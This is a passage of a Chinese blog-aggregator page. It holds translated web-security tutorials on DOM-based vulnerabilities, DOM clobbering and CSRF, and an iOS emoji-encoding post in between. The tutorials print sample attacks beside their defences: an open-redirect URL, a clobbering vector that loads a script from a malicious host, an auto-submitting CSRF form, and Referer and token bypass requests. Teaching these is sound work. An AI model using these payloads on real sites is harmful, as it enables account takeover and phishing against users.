    for-of 循环的的可用性比 forfor-in 和 .forEach() 更好。

    通常四种循环机制之间的性能差异应该是无关紧要。如果你要做一些运算量很大的事,还是切换到 WebAssembly 更好一些。

    原文链接:https://segmentfault.com/a/1190000039308259

    收起阅读 »

    Web 安全 之 DOM-based vulnerabilities

    DOM-based vulnerabilities在本节中,我们将描述什么是 DOM ,解释对 DOM 数据的不安全处理是如何引入漏洞的,并建议如何在您的网站上防止基于 DOM 的漏洞。什么是 DOM...
    继续阅读 »

    DOM-based vulnerabilities

    在本节中,我们将描述什么是 DOM ,解释对 DOM 数据的不安全处理是如何引入漏洞的,并建议如何在您的网站上防止基于 DOM 的漏洞。

    什么是 DOM

    Document Object Model(DOM)文档对象模型是 web 浏览器对页面上元素的层次表示。网站可以使用 JavaScript 来操作 DOM 的节点和对象,以及它们的属性。DOM 操作本身不是问题,事实上,它也是现代网站中不可或缺的一部分。然而,不安全地处理数据的 JavaScript 可能会引发各种攻击。当网站包含的 JavaScript 接受攻击者可控制的值(称为 source 源)并将其传递给一个危险函数(称为 sink 接收器)时,就会出现基于 DOM 的漏洞。

    污染流漏洞

    许多基于 DOM 的漏洞可以追溯到客户端代码在处理攻击者可以控制的数据时存在问题。

    什么是污染流

    要利用或者缓解这些漏洞,首先要熟悉 source 源与 sink 接收器之间的污染流的基本概念。

    Source 源是一个 JavaScript 属性,它接受可能由攻击者控制的数据。源的一个示例是 location.search 属性,因为它从 query 字符串中读取输入,这对于攻击者来说比较容易控制。总之,攻击者可以控制的任何属性都是潜在的源。包括引用 URL( document.referrer )、用户的 cookies( document.cookie )和 web messages 。

    Sink 接收器是存在潜在危险的 JavaScript 函数或者 DOM 对象,如果攻击者控制的数据被传递给它们,可能会导致不良后果。例如,eval() 函数就是一个 sink ,因为其把传递给它的参数当作 JavaScript 直接执行。一个 HTML sink 的示例是 document.body.innerHTML ,因为它可能允许攻击者注入恶意 HTML 并执行任意 JavaScript。

    从根本上讲,当网站将数据从 source 源传递到 sink 接收器,且接收器随后在客户端会话的上下文中以不安全的方式处理数据时,基于 DOM 的漏洞就会出现。

    最常见的 source 源就是 URL ,其可以通过 location 对象访问。攻击者可以构建一个链接,以让受害者访问易受攻击的页面,并在 URL 的 query 字符串和 fragment 部分添加有效负载。考虑以下代码:

    goto = location.hash.slice(1)
    if(goto.startsWith('https:')) {
    location = goto;
    }

    这是一个基于 DOM 的开放重定向漏洞,因为 location.hash 源被以不安全的方式处理。这个代码的意思是,如果 URL 的 fragment 部分以 https 开头,则提取当前 location.hash 的值,并设置为 window 的 location 。攻击者可以构造如下的 URL 来利用此漏洞:

    https://www.innocent-website.com/example#https://www.evil-user.net

    当受害者访问此 URL 时,JavaScript 就会将 location 设置为 www.evil-user.net ,也就是自动跳转到了恶意网址。这种漏洞非常容易被用来进行钓鱼攻击。

    常见的 source 源

    以下是一些可用于各种污染流漏洞的常见的 source 源:

    document.URL
    document.documentURI
    document.URLUnencoded
    document.baseURI
    location
    document.cookie
    document.referrer
    window.name
    history.pushState
    history.replaceState
    localStorage
    sessionStorage
    IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
    Database

    以下数据也可以被用作污染流漏洞的 source 源:

    • Reflected data 反射数据
    • Stored data 存储数据
    • Web messages

    哪些 sink 接收器会导致基于 DOM 的漏洞

    下面的列表提供了基于 DOM 的常见漏洞的快速概述,并提供了导致每个漏洞的 sink 示例。有关每个漏洞的详情请查阅本系列文章的相关部分。

    基于 DOM 的漏洞sink 示例
    DOM XSSdocument.write()
    Open redirectionwindow.location
    Cookie manipulationdocument.cookie
    JavaScript injectioneval()
    Document-domain manipulationdocument.domain
    WebSocket-URL poisoningWebSocket()
    Link manipulationsomeElement.src
    Web-message manipulationpostMessage()
    Ajax request-header manipulationsetRequestHeader()
    Local file-path manipulationFileReader.readAsText()
    Client-side SQL injectionExecuteSql()
    HTML5-storage manipulationsessionStorage.setItem()
    Client-side XPath injectiondocument.evaluate()
    Client-side JSON injectionJSON.parse()
    DOM-data manipulationsomeElement.setAttribute()
    Denial of serviceRegExp()

    如何防止基于 DOM 的污染流漏洞

    没有一个单独的操作可以完全消除基于 DOM 的攻击的威胁。然而,一般来说,避免基于 DOM 的漏洞的最有效方法是避免允许来自任何不可信 source 源的数据动态更改传输到任何 sink 接收器的值。

    如果应用程序所需的功能意味着这种行为是不可避免的,则必须在客户端代码内实施防御措施。在许多情况下,可以根据白名单来验证相关数据,仅允许已知安全的内容。在其他情况下,有必要对数据进行清理或编码。这可能是一项复杂的任务,并且取决于要插入数据的上下文,它可能需要按照适当的顺序进行 JavaScript 转义,HTML 编码和 URL 编码。

    有关防止特定漏洞的措施,请参阅上表链接的相应漏洞页面。

    DOM clobbering

    DOM clobbering 是一种高级技术,具体而言就是你可以将 HTML 注入到页面中,从而操作 DOM ,并最终改变网站上 JavaScript 的行为。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。


    DOM clobbering

    在本节中,我们将描述什么是 DOM clobbing ,演示如何使用 clobbing 技术来利用 DOM 漏洞,并提出防御 DOM clobbing 攻击的方法。

    什么是 DOM clobbering

    DOM clobbering 是一种将 HTML 注入页面以操作 DOM 并最终改变页面上 JavaScript 行为的技术。在无法使用 XSS ,但是可以控制页面上 HTML 白名单属性如 id 或 name 时,DOM clobbering 就特别有用。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。

    术语 clobbing 来自以下事实:你正在 “clobbing”(破坏) 一个全局变量或对象属性,并用 DOM 节点或 HTML 集合去覆盖它。例如,可以使用 DOM 对象覆盖其他 JavaScript 对象并利用诸如 submit 这样不安全的名称,去干扰表单真正的 submit() 函数。

    如何利用 DOM-clobbering 漏洞

    某些 JavaScript 开发者经常会使用以下模式:

    var someObject = window.someObject || {};

    如果你能控制页面上的某些 HTML ,你就可以破坏 someObject 引用一个 DOM 节点,例如 anchor 。考虑如下代码:

    <script>
    window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
    };
    </script>

    要利用此易受攻击的代码,你可以注入以下 HTML 去破坏 someObject 引用一个 anchor 元素:

    <a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

    由于使用了两个相同的 ID ,因此 DOM 会把他们归为一个集合,然后 DOM 破坏向量会使用此集合覆盖 someObject 引用。在最后一个 anchor 元素上使用了 name 属性,以破坏 someObject 对象的 url 属性,从而指向一个外部脚本。

    另一种常见方法是使用 form 元素以及 input 元素去破坏 DOM 属性。例如,破坏 attributes 属性以使你能够通过相关的客户端过滤器。尽管过滤器将枚举 attributes 属性,但实际上不会删除任何属性,因为该属性已经被 DOM 节点破坏。结果就是,你将能够注入通常会被过滤掉的恶意属性。例如,考虑以下注入:

    <form onclick=alert(1)><input id=attributes>Click me

    在这种情况下,客户端过滤器将遍历 DOM 并遇到一个列入白名单的 form 元素。正常情况下,过滤器将循环遍历 form 元素的 attributes 属性,并删除所有列入黑名单的属性。但是,由于 attributes 属性已经被 input 元素破坏,所以过滤器将会改为遍历 input 元素。由于 input 元素的长度不确定,因此过滤器 for 循环的条件(例如 i < element.attributes.length)不满足,过滤器会移动到下一个元素。这将导致 onclick 事件被过滤器忽略,其将会在浏览器中调用 alert() 方法。

    如何防御 DOM-clobbering 攻击

    简而言之,你可以通过检查以确保对象或函数符合你的预期,来防御 DOM-clobbering 攻击。例如,你可以检查 DOM 节点的属性是否是 NamedNodeMap 的实例,从而确保该属性是 attributes 属性而不是破坏的 HTML 元素。

    你还应该避免全局变量与或运算符 || 一起引用,因为这可能导致 DOM clobbering 漏洞。

    总之:

    • 检查对象和功能是否合法。如果要过滤 DOM ,请确保检查的对象或函数不是 DOM 节点。
    • 避免坏的代码模式。避免将全局变量与逻辑 OR 运算符结合使用。
    • 使用经过良好测试的库,例如 DOMPurify 库,这也可以解决 DOM clobbering 漏洞的问题。
    原文链接:https://segmentfault.com/a/1190000039358953
    收起阅读 »

    iOS中的emoji表情处理

    emoji在社交类APP很常用,比如发动态,圈子,还有回复评论,还有会话后台在处理emoji的态度,直接就是不处理,所以我们需要对emoji包括中文,数字,还有特殊字符进行编码还有解码//编码NSString *uniStr = [NSString strin...
    继续阅读 »

    emoji在社交类APP很常用,比如发动态,圈子,还有回复评论,还有会话


    后台在处理emoji的态度,直接就是不处理,所以我们需要对emoji包括中文,数字,还有特殊字符进行编码还有解码

    //编码

    NSString *uniStr = [NSString stringWithUTF8String:[_barrageText.text UTF8String]];
    NSData *uniData = [uniStr dataUsingEncoding:NSNonLossyASCIIStringEncoding];
    NSString *goodStr = [[NSString alloc] initWithData:uniData encoding:NSUTF8StringEncoding] ;
    NSLog(@"---编码--->[%@]",goodStr);

    //解码

    const char *jsonString = [goodStr UTF8String];   // goodStr 服务器返回的 json
    NSData *jsonData = [NSData dataWithBytes:jsonString length:strlen(jsonString)];
    NSString *goodMsg1 = [[NSString alloc] initWithData:jsonData encoding:NSNonLossyASCIIStringEncoding];
    NSLog(@"---解码--->[%@]",goodMsg1);

    2017-05-15 10:16:17.858 DFRomwe[650:153981] ---编码--->[hello\ud83d\ude18\ud83d\ude18world\u4e16\u754chaha\ud83d\ude17]
    2017-05-15 10:16:17.859 DFRomwe[650:153981] ---解码--->[hello😘😘world世界haha😗]

    总想着事情就能这么轻松解决!!!
    可是,然后,呵呵呵,你不去了解一下东西,还是不行的
    果然,后台不作处理的情况下,如果返回JSON这就不行了,因为会默认带有转义字符: *** "\" *** 会导致下面这个情况:

    //在这里以😀表情为例,😀的Unicode编码为U+1F604,UTF-16编码为:\ud83d\ude04
    NSString * emojiUnicode = @"\U0001F604";
    NSLog(@"emojiUnicode:%@",emojiUnicode);
    //如果直接输入\ud83d\ude04会报错,加了转义后不会报错,但是会输出字符串\ud83d\ude04,而不是😀
    NSString * emojiUTF16 = @"\\ud83d\\ude04";
    NSLog(@"emojiUTF16:%@",emojiUTF16);
    //转换
    emojiUTF16 = [NSString stringWithCString:[emojiUTF16 cStringUsingEncoding:NSUTF8StringEncoding] encoding:NSNonLossyASCIIStringEncoding];
    NSLog(@"emojiUnicode2:%@",emojiUTF16);

    输出:

    emojiUnicode:😄
    emojiUnicode1:\ud83d\ude04
    emojiUnicode2:😄

    果断百度另外的方法

    //解码
    - (NSString *)decodeEmoji{
    NSString *tepStr1 ;
    if ([self containsString:@"\\u"]) {
    tepStr1 = [self stringByReplacingOccurrencesOfString:@"\\u"withString:@"\U"];
    }else{
    tepStr1 = [self stringByReplacingOccurrencesOfString:@"\u"withString:@"\U"];
    }
    NSString *tepStr2 = [tepStr1 stringByReplacingOccurrencesOfString:@"""withString:@"\""];
    NSString *tepStr3 = [[@""" stringByAppendingString:tepStr2]stringByAppendingString:@"""];
    NSData *tepData = [tepStr3 dataUsingEncoding:NSUTF8StringEncoding];
    NSString *axiba = [NSPropertyListSerialization propertyListWithData:tepData options:NSPropertyListMutableContainers format:NULL error:NULL];
    return [axiba stringByReplacingOccurrencesOfString:@"\r\n"withString:@"\n"];
    }

    //编码
    - (NSString *)encodeEmoji{

    NSUInteger length = [self length];
    NSMutableString *s = [NSMutableString stringWithCapacity:0];

    for (int i = 0;i < length; i++){
    unichar _char = [self characterAtIndex:i];
    //判断是否为英文和数字
    if (_char <= '9' && _char >='0'){
    [s appendFormat:@"%@",[self substringWithRange:NSMakeRange(i,1)]];
    }else if(_char >='a' && _char <= 'z'){
    [s appendFormat:@"%@",[self substringWithRange:NSMakeRange(i,1)]];
    }else if(_char >='A' && _char <= 'Z')
    {
    [s appendFormat:@"%@",[self substringWithRange:NSMakeRange(i,1)]];
    }else{
    [s appendFormat:@"\\"];

    [s appendFormat:@"\\u%x",[self characterAtIndex:i]];
    }
    }
    return s;

    }

    这是从JSON解码与编码,其实原理也很简单:

    A :就是把多余的转义斜杠扔掉,

    B :然后Unicode转utf-8;

    C :然后utf-8转Unicode;

    这里我写了一个NSString的一个分类:#import "NSString+Emoji.h"

    还添加了一些方法:

    //判断是否存在emoji表情:因为emoji表情室友Unicode编码区间的

    + (BOOL)stringContainsEmoji:(NSString *)string
    {
    __block BOOL returnValue = NO;
    [string enumerateSubstringsInRange:NSMakeRange(0, [string length])
    options:NSStringEnumerationByComposedCharacterSequences
    usingBlock:^(NSString *substring, NSRange substringRange, NSRange enclosingRange, BOOL *stop) {
    const unichar hs = [substring characterAtIndex:0];
    if (0xd800 <= hs && hs <= 0xdbff) {
    if (substring.length > 1) {
    const unichar ls = [substring characterAtIndex:1];
    const int uc = ((hs - 0xd800) * 0x400) + (ls - 0xdc00) + 0x10000;
    if (0x1d000 <= uc && uc <= 0x1f77f) {
    returnValue = YES;
    }
    }
    } else if (substring.length > 1) {
    const unichar ls = [substring characterAtIndex:1];
    if (ls == 0x20e3) {
    returnValue = YES;
    }
    } else {
    if (0x2100 <= hs && hs <= 0x27ff) {
    returnValue = YES;
    } else if (0x2B05 <= hs && hs <= 0x2b07) {
    returnValue = YES;
    } else if (0x2934 <= hs && hs <= 0x2935) {
    returnValue = YES;
    } else if (0x3297 <= hs && hs <= 0x3299) {
    returnValue = YES;
    } else if (hs == 0xa9 || hs == 0xae || hs == 0x303d || hs == 0x3030 || hs == 0x2b55 || hs == 0x2b1c || hs == 0x2b1b || hs == 0x2b50) {
    returnValue = YES;
    }
    }

    }];
    return returnValue;
    }

    //判断是否存在中文
    //因为要保证之前的utf-8的数据也能显示
    - (BOOL)includeChinese
    {
    for(int i=0; i< [self length];i++)
    {
    int a =[self characterAtIndex:i];
    if( a >0x4e00&& a <0x9fff){
    return YES;
    }
    }
    return NO;
    }

    //判断是否以中文开头

    - (BOOL)JudgeChineseFirst{
    //是否以中文开头(unicode中文编码范围是0x4e00~0x9fa5)
    int utfCode = 0;
    void *buffer = &utfCode;
    NSRange range = NSMakeRange(0, 1);
    //判断是不是中文开头的,buffer->获取字符的字节数据 maxLength->buffer的最大长度 usedLength->实际写入的长度,不需要的话可以传递NULL encoding->字符编码常数,不同编码方式转换后的字节长是不一样的,这里我用了UTF16 Little-Endian,maxLength为2字节,如果使用Unicode,则需要4字节 options->编码转换的选项,有两个值,分别是NSStringEncodingConversionAllowLossy和NSStringEncodingConversionExternalRepresentation range->获取的字符串中的字符范围,这里设置的第一个字符 remainingRange->建议获取的范围,可以传递NULL
    BOOL b = [self getBytes:buffer maxLength:2 usedLength:NULL encoding:NSUTF16LittleEndianStringEncoding options:NSStringEncodingConversionExternalRepresentation range:range remainingRange:NULL];
    if (b && (utfCode >= 0x4e00 && utfCode <= 0x9fa5))
    return YES;
    else
    return NO;
    }


    收起阅读 »

    Web 安全 之 CSRF

    Cross-site request forgery (CSRF)在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。什么是 CSRF跨站请求伪造(CSRF)是...
    继续阅读 »

    Cross-site request forgery (CSRF)

    在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。

    什么是 CSRF

    跨站请求伪造(CSRF)是一种 web 安全漏洞,它允许攻击者诱使用户执行他们不想执行的操作。攻击者进行 CSRF 能够部分规避同源策略。


    CSRF 攻击能造成什么影响

    在成功的 CSRF 攻击中,攻击者会使受害用户无意中执行某个操作。例如,这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转账。根据操作的性质,攻击者可能能够完全控制用户的帐户。如果受害用户在应用程序中具有特权角色,则攻击者可能能够完全控制应用程序的所有数据和功能。

    CSRF 是如何工作的

    要使 CSRF 攻击成为可能,必须具备三个关键条件:

    • 相关的动作。攻击者有理由诱使应用程序中发生某种动作。这可能是特权操作(例如修改其他用户的权限),也可能是针对用户特定数据的任何操作(例如更改用户自己的密码)。
    • 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,应用程序仅依赖会话cookie 来标识发出请求的用户。没有其他机制用于跟踪会话或验证用户请求。
    • 没有不可预测的请求参数。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击。

    假设应用程序包含一个允许用户更改其邮箱地址的功能。当用户执行此操作时,会发出如下 HTTP 请求:

    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 30
    Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

    email=wiener@normal-user.com

    这个例子符合 CSRF 要求的条件:

    • 更改用户帐户上的邮箱地址的操作会引起攻击者的兴趣。执行此操作后,攻击者通常能够触发密码重置并完全控制用户的帐户。
    • 应用程序使用会话 cookie 来标识发出请求的用户。没有其他标记或机制来跟踪用户会话。
    • 攻击者可以轻松确定执行操作所需的请求参数的值。

    具备这些条件后,攻击者可以构建包含以下 HTML 的网页:

    <html>
    <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
    <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>

    如果受害用户访问了攻击者的网页,将发生以下情况:

    • 攻击者的页面将触发对易受攻击的网站的 HTTP 请求。
    • 如果用户登录到易受攻击的网站,其浏览器将自动在请求中包含其会话 cookie(假设 SameSite cookies 未被使用)。
    • 易受攻击的网站将以正常方式处理请求,将其视为受害者用户发出的请求,并更改其电子邮件地址。

    注意:虽然 CSRF 通常是根据基于 cookie 的会话处理来描述的,但它也出现在应用程序自动向请求添加一些用户凭据的上下文中,例如 HTTP Basic authentication 基本验证和 certificate-based authentication 基于证书的身份验证。

    如何构造 CSRF 攻击

    手动创建 CSRF 攻击所需的 HTML 可能很麻烦,尤其是在所需请求包含大量参数的情况下,或者在请求中存在其他异常情况时。构造 CSRF 攻击的最简单方法是使用 Burp Suite Professional(付费软件) 中的 CSRF PoC generator

    如何传递 CSRF

    跨站请求伪造攻击的传递机制与反射型 XSS 的传递机制基本相同。通常,攻击者会将恶意 HTML 放到他们控制的网站上,然后诱使受害者访问该网站。这可以通过电子邮件或社交媒体消息向用户提供指向网站的链接来实现。或者,如果攻击被放置在一个流行的网站(例如,在用户评论中),则只需等待用户上钩即可。

    请注意,一些简单的 CSRF 攻击使用 GET 方法,并且可以通过易受攻击网站上的单个 URL 完全自包含。在这种情况下,攻击者可能不需要使用外部站点,并且可以直接向受害者提供易受攻击域上的恶意 URL 。在前面的示例中,如果可以使用 GET 方法执行更改电子邮件地址的请求,则自包含的攻击如下所示:

    ![](https://vulnerable-website.com/email/change?email=pwned@evil-user.net)

    防御 CSRF 攻击

    防御 CSRF 攻击最有效的方法就是在相关请求中使用 CSRF token ,此 token 应该是:

    • 不可预测的,具有高熵的
    • 绑定到用户的会话中
    • 在相关操作执行前,严格验证每种情况

    可与 CSRF token 一起使用的附加防御措施是 SameSite cookies 。

    常见的 CSRF 漏洞

    最有趣的 CSRF 漏洞产生是因为对 CSRF token 的验证有问题。

    在前面的示例中,假设应用程序在更改用户密码的请求中需要包含一个 CSRF token :

    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 68
    Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

    csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com

    这看上去好像可以防御 CSRF 攻击,因为它打破了 CSRF 需要的必要条件:应用程序不再仅仅依赖 cookie 进行会话处理,并且请求也包含攻击者无法确定其值的参数。然而,仍然有多种方法可以破坏防御,这意味着应用程序仍然容易受到 CSRF 的攻击。

    CSRF token 的验证依赖于请求方法

    某些应用程序在请求使用 POST 方法时正确验证 token ,但在使用 GET 方法时跳过了验证。

    在这种情况下,攻击者可以切换到 GET 方法来绕过验证并发起 CSRF 攻击:

    GET /email/change?email=pwned@evil-user.net HTTP/1.1
    Host: vulnerable-website.com
    Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

    CSRF token 的验证依赖于 token 是否存在

    某些应用程序在 token 存在时正确地验证它,但是如果 token 不存在,则跳过验证。

    在这种情况下,攻击者可以删除包含 token 的整个参数,从而绕过验证并发起 CSRF 攻击:

    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

    email=pwned@evil-user.net

    CSRF token 未绑定到用户会话

    有些应用程序不验证 token 是否与发出请求的用户属于同一会话。相反,应用程序维护一个已发出的 token 的全局池,并接受该池中出现的任何 token 。

    在这种情况下,攻击者可以使用自己的帐户登录到应用程序,获取有效 token ,然后在 CSRF 攻击中使用自己的 token 。

    CSRF token 被绑定到非会话 cookie

    在上述漏洞的变体中,有些应用程序确实将 CSRF token 绑定到了 cookie,但与用于跟踪会话的同一个 cookie 不绑定。当应用程序使用两个不同的框架时,很容易发生这种情况,一个用于会话处理,另一个用于 CSRF 保护,这两个框架没有集成在一起:

    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 68
    Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

    csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

    这种情况很难利用,但仍然存在漏洞。如果网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,则可能发生攻击。攻击者可以使用自己的帐户登录到应用程序,获取有效的 token 和关联的 cookie ,利用 cookie 设置行为将其 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供 token 。

    注意:cookie 设置行为甚至不必与 CSRF 漏洞存在于同一 Web 应用程序中。如果所控制的 cookie 具有适当的范围,则可以利用同一总体 DNS 域中的任何其他应用程序在目标应用程序中设置 cookie 。例如,staging.demo.normal-website.com 域上的 cookie 设置函数可以放置提交到 secure.normal-website.com 上的 cookie 。

    CSRF token 仅要求与 cookie 中的相同

    在上述漏洞的进一步变体中,一些应用程序不维护已发出 token 的任何服务端记录,而是在 cookie 和请求参数中复制每个 token 。在验证后续请求时,应用程序只需验证在请求参数中提交的 token 是否与在 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,之所以被提倡,是因为它易于实现,并且避免了对任何服务端状态的需要:

    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 68
    Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

    csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

    在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得自己的有效 token 。他们只需发明一个 token ,利用 cookie 设置行为将 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供此 token 。

    基于 Referer 的 CSRF 防御

    除了使用 CSRF token 进行防御之外,有些应用程序使用 HTTP Referer 头去防御 CSRF 攻击,通常是验证请求来自应用程序自己的域名。这种方法通常不太有效,而且经常会被绕过。

    注意:HTTP Referer 头是一个可选的请求头,它包含链接到所请求资源的网页的 URL 。通常,当用户触发 HTTP 请求时,比如单击链接或提交表单,浏览器会自动添加它。然而存在各种方法,允许链接页面保留或修改 Referer 头的值。这通常是出于隐私考虑。

    Referer 的验证依赖于其是否存在

    某些应用程序当请求中有 Referer 头时会验证它,但是如果没有的话,则跳过验证。

    在这种情况下,攻击者可以精心设计其 CSRF 攻击,使受害用户的浏览器在请求中丢弃 Referer 头。实现这一点有多种方法,但最简单的是在托管 CSRF 攻击的 HTML 页面中使用 META 标记:

    <meta name="referrer" content="never">

    Referer 的验证可以被规避

    某些应用程序以一种可以被绕过的方式验证 Referer 头。例如,如果应用程序只是验证 Referer 是否包含自己的域名,那么攻击者可以将所需的值放在 URL 的其他位置:

    http://attacker-website.com/csrf-attack?vulnerable-website.com

    如果应用程序验证 Referer 中的域以预期值开头,那么攻击者可以将其作为自己域的子域:

    http://vulnerable-website.com.attacker-website.com/csrf-attack

    CSRF tokens

    在本节中,我们将解释什么是 CSRF token,它们是如何防御的 CSRF 攻击,以及如何生成和验证CSRF token 。

    什么是 CSRF token

    CSRF token 是一个唯一的、秘密的、不可预测的值,它由服务端应用程序生成,并以这种方式传输到客户端,使得它包含在客户端发出的后续 HTTP 请求中。当发出后续请求时,服务端应用程序将验证请求是否包含预期的 token ,并在 token 丢失或无效时拒绝该请求。

    由于攻击者无法确定或预测用户的 CSRF token 的值,因此他们无法构造出一个应用程序验证所需全部参数的请求。所以 CSRF token 可以防止 CSRF 攻击。

    CSRF token 应该如何生成

    CSRF token 应该包含显著的熵,并且具有很强的不可预测性,其通常与会话令牌具有相同的特性。

    您应该使用加密强度伪随机数生成器(PRNG),该生成器附带创建时的时间戳以及静态密码。

    如果您需要 PRNG 强度之外的进一步保证,可以通过将其输出与某些特定于用户的熵连接来生成单独的令牌,并对整个结构进行强哈希。这给试图分析令牌的攻击者带来了额外的障碍。

    如何传输 CSRF token

    CSRF token 应被视为机密,并在其整个生命周期中以安全的方式进行处理。一种通常有效的方法是将令牌传输到使用 POST 方法提交的 HTML 表单的隐藏字段中的客户端。提交表单时,令牌将作为请求参数包含:

    <input type="hidden" name="csrf-token" value="CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz" />

    为了安全起见,包含 CSRF token 的字段应该尽早放置在 HTML 文档中,最好是在任何非隐藏的输入字段之前,以及在 HTML 中嵌入用户可控制数据的任何位置之前。这可以对抗攻击者使用精心编制的数据操纵 HTML 文档并捕获其部分内容的各种技术。

    另一种方法是将令牌放入 URL query 字符串中,这种方法的安全性稍差,因为 query 字符串:

    • 记录在客户端和服务器端的各个位置;
    • 容易在 HTTP Referer 头中传输给第三方;
    • 可以在用户的浏览器中显示在屏幕上。

    某些应用程序在自定义请求头中传输 CSRF token 。这进一步防止了攻击者预测或捕获另一个用户的令牌,因为浏览器通常不允许跨域发送自定义头。然而,这种方法将应用程序限制为使用 XHR 发出受 CSRF 保护的请求(与 HTML 表单相反),并且在许多情况下可能被认为过于复杂。

    CSRF token 不应在 cookie 中传输。

    如何验证 CSRF token

    当生成 CSRF token 时,它应该存储在服务器端的用户会话数据中。当接收到需要验证的后续请求时,服务器端应用程序应验证该请求是否包含与存储在用户会话中的值相匹配的令牌。无论请求的HTTP 方法或内容类型如何,都必须执行此验证。如果请求根本不包含任何令牌,则应以与存在无效令牌时相同的方式拒绝请求。


    XSS vs CSRF

    在本节中,我们将解释 XSS 和 CSRF 之间的区别,并讨论 CSRF token 是否有助于防御 XSS 攻击。

    XSS 和 CSRF 之间有啥区别

    跨站脚本攻击 XSS 允许攻击者在受害者用户的浏览器中执行任意 JavaScript 。

    跨站请求伪造 CSRF 允许攻击者伪造受害用户执行他们不打算执行的操作。

    XSS 漏洞的后果通常比 CSRF 漏洞更严重:

    • CSRF 通常只适用于用户能够执行的操作的子集。通常,许多应用程序都实现 CSRF 防御,但是忽略了暴露的一两个操作。相反,成功的 XSS 攻击通常可以执行用户能够执行的任何操作,而不管该漏洞是在什么功能中产生的。
    • CSRF 可以被描述为一个“单向”漏洞,因为尽管攻击者可以诱导受害者发出 HTTP 请求,但他们无法从该请求中检索响应。相反,XSS 是“双向”的,因为攻击者注入的脚本可以发出任意请求、读取响应并将数据传输到攻击者选择的外部域。

    CSRF token 能否防御 XSS 攻击

    一些 XSS 攻击确实可以通过有效使用 CSRF token 来进行防御。假设有一个简单的反射型 XSS 漏洞,其可以被利用如下:

    https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

    现在,假设漏洞函数包含一个 CSRF token :

    https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>

    如果服务器正确地验证了 CSRF token ,并拒绝了没有有效令牌的请求,那么该令牌确实可以防止此 XSS 漏洞的利用。这里的关键点是“跨站脚本”的攻击中涉及到了跨站请求,因此通过防止攻击者伪造跨站请求,该应用程序可防止对 XSS 漏洞的轻度攻击。

    这里有一些重要的注意事项:

    • 如果反射型 XSS 漏洞存在于站点上任何其他不受 CSRF token 保护的函数内,则可以以常规方式利用该 XSS 漏洞。
    • 如果站点上的任何地方都存在可利用的 XSS 漏洞,则可以利用该漏洞使受害用户执行操作,即使这些操作本身受到 CSRF token 的保护。在这种情况下,攻击者的脚本可以请求相关页面获取有效的 CSRF token,然后使用该令牌执行受保护的操作。
    • CSRF token 不保护存储型 XSS 漏洞。如果受 CSRF token 保护的页面也是存储型 XSS 漏洞的输出点,则可以以通常的方式利用该 XSS 漏洞,并且当用户访问该页面时,将执行 XSS 有效负载。

    SameSite cookies

    某些网站使用 SameSite cookies 防御 CSRF 攻击。

    这个 SameSite 属性可用于控制是否以及如何在跨站请求中提交 cookie 。通过设置会话 cookie 的属性,应用程序可以防止浏览器默认自动向请求添加 cookie 的行为,而不管cookie 来自何处。

    这个 SameSite 属性在服务器的 Set-Cookie 响应头中设置,该属性可以设为 Strict 严格或者 Lax 松懈。例如:

    SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;

    SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;

